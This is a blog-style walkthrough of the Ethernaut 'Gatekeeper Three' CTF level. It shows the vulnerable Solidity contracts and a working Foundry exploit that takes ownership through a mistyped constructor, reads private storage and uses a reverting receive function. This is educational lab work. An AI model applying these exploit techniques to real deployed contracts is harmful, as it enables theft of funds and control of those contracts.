Ethernaut-28-Gatekeeper Three
Challenge
Cope with gates and become an entrant.
Things that might help:
Recall return values of low-level functions.
Be attentive with semantic.
Refresh how storage works in Ethereum.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint256 private password = block.timestamp;
constructor(address payable _target) {
target = GatekeeperThree(_target);
}
function checkPassword(uint256 _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}
function trickInit() public {
trick = address(this);
}
function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}
contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;
SimpleTrick public trick;
function construct0r() public {
owner = msg.sender;
}
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
modifier gateTwo() {
require(allowEntrance == true);
_;
}
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
function getAllowance(uint256 _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}
function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}
function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}
receive() external payable {}
}
Solve
This challenge looks a bit tricky, let’s break it down step by step.
gateOne()
Easy, We only need to call the
enter()
function through a smart contract.Solution solution = new Solution(); solution.solve();
gateTwo()
require(allowEntrance == true)
We need to make
trick.checkPassword(_password)
call to returnTrue
.SimpleTrick.password
is a private variable, but we can get this value througheth_getStorageAt(2)
RPC call.But
GatekeeperThree.trick
has not been created at this stage yet, so we need to callGatekeeperThree.createTrick()
first to initializeGatekeeperThree.trick
.Let’s organize the current findings:
First, call
GatekeeperThree.createTrick()
(for initializeGatekeeperThree.trick
).Get the address of
SimpleTrick
contract (by readingGatekeeperThree.trick
variable)Get the value of
SimpleTrick.password
(by usingeth_getStorageAt(SimpleTrick, slot2)
)Call
GatekeeperThree.getAllowance(uint256 _password)
(to makeGatekeeperThree.allowEntrance
is equal to True)
gateThree()
address(this).balance > 0.001 ether
just need to send0.001 ether + 1 wei
toGatekeeperThree
contract.payable(owner).send(0.001 ether) == false
the owner can be set in theconstruct0r()
There’s a typo, so we just only need to let our attack contract call
construct0r()
to become theowner
.To let
payable(owner).send(0.001 ether)
failed, our contract needs to implement areceive()
function and trigger arevert()
operation.
Let’s summarize the attack steps:
Write an attack contract.
Implement a
receive()
function and will trigger arevert()
operation.Call
GatekeeperThree.createTrick()
(for initializeGatekeeperThree.trick
).Get the address of
SimpleTrick
contract (by readingGatekeeperThree.trick
variable).Get the value of
SimpleTrick.password
(by usingeth_getStorageAt(SimpleTrick, slot2)
) or just usingblock.timestamp
as thepassword
.Call
GatekeeperThree.getAllowance(uint256 _password)
(to makeGatekeeperThree.allowEntrance
is equal to True).Call
GatekeeperThree.construct0r()
(to become anowner
).Send
0.001 ether + 1 wei
toGatekeeperThree
contract.Call
GatekeeperThree.enter()
to pass the challenge.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console} from "forge-std/Script.sol";
interface IGatekeeperThree{
function trick() external returns(address);
}
contract Solver is Script {
address gatekeeper_three = vm.envAddress("GATEKEEPERTHREE_INSTANCE");
function setUp() public {}
function run() public {
vm.startBroadcast(vm.envUint("PRIV_KEY"));
GateBreaker gatebreaker = new GateBreaker(gatekeeper_three); // createTrick()
gatebreaker.getAllowance();
gatekeeper_three.call{value: 0.001 ether + 1}("");
console.log("gatekeeper_three balance: ", gatekeeper_three.balance);
gatebreaker.construct0r();
gatebreaker.enter();
vm.stopBroadcast();
}
}
contract GateBreaker {
address gatekeeper_three;
constructor(address _gatekeeper_three) {
gatekeeper_three = _gatekeeper_three;
_gatekeeper_three.call(abi.encodeWithSignature("createTrick()"));
}
function getAllowance() external {
gatekeeper_three.call(abi.encodeWithSignature("getAllowance(uint256)", uint256(block.timestamp)));
}
function construct0r() external {
gatekeeper_three.call(abi.encodeWithSignature("construct0r()"));
}
function enter() external {
gatekeeper_three.call(abi.encodeWithSignature("enter()"));
}
receive() external payable {
revert();
}
}
forge script script/Ethernaut28-GatekeeperThree.s.sol:Solver -f $RPC_OP_SEPOLIA --broadcast
Potential Patches
None, this level is just designed for fun.
Subscribe to my newsletter
Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
whiteberets[.]eth
whiteberets[.]eth
Please don't OSINT me, I'd be shy. 🫣